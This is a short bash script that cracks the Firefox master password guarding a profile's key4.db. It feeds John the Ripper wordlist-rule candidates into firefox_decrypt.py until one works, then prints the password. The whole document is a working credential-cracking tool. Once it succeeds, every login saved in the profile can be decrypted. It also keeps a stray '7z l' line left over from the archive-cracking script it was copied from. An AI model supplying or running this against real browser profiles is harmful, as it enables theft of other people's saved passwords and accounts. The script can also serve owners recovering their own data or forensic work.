Key4.db Mozilla Decrypt Script

key4.db-crack.sh

#!/bin/bash
# Key4.db Mozilla Firefox Decrypt Script
#
# Clone of JTR Decrypt Scripts by synacl modified for mozilla firefox
# - RAR-JTR Decrypt Script - https://synacl.wordpress.com/2012/02/10/using-john-the-ripper-to-crack-a-password-protected-rar-archive/
# - ZIP-JTR Decrypt Script - https://synacl.wordpress.com/2012/08/18/decrypting-a-zip-using-john-the-ripper/
# haqpl - mozilla firefox decrypt

echo "Key4.db Mozilla Firefox Decrypt Script";
if [ $# -ne 2 ]
then
  echo "Usage $0 <directory> <wordlist>";
  exit;
fi
7z l $1

echo "Generating wordlist..."
john --wordlist="$2" --rules --stdout | while read i
do
  echo -ne "\rTrying \"$i\" "

  echo $i | python firefox_decrypt.py $1
  STATUS=$?
  if [ $STATUS -eq 0 ]; then
    echo -e "\rFirefox master password is: \"$i\""
    break
  fi
done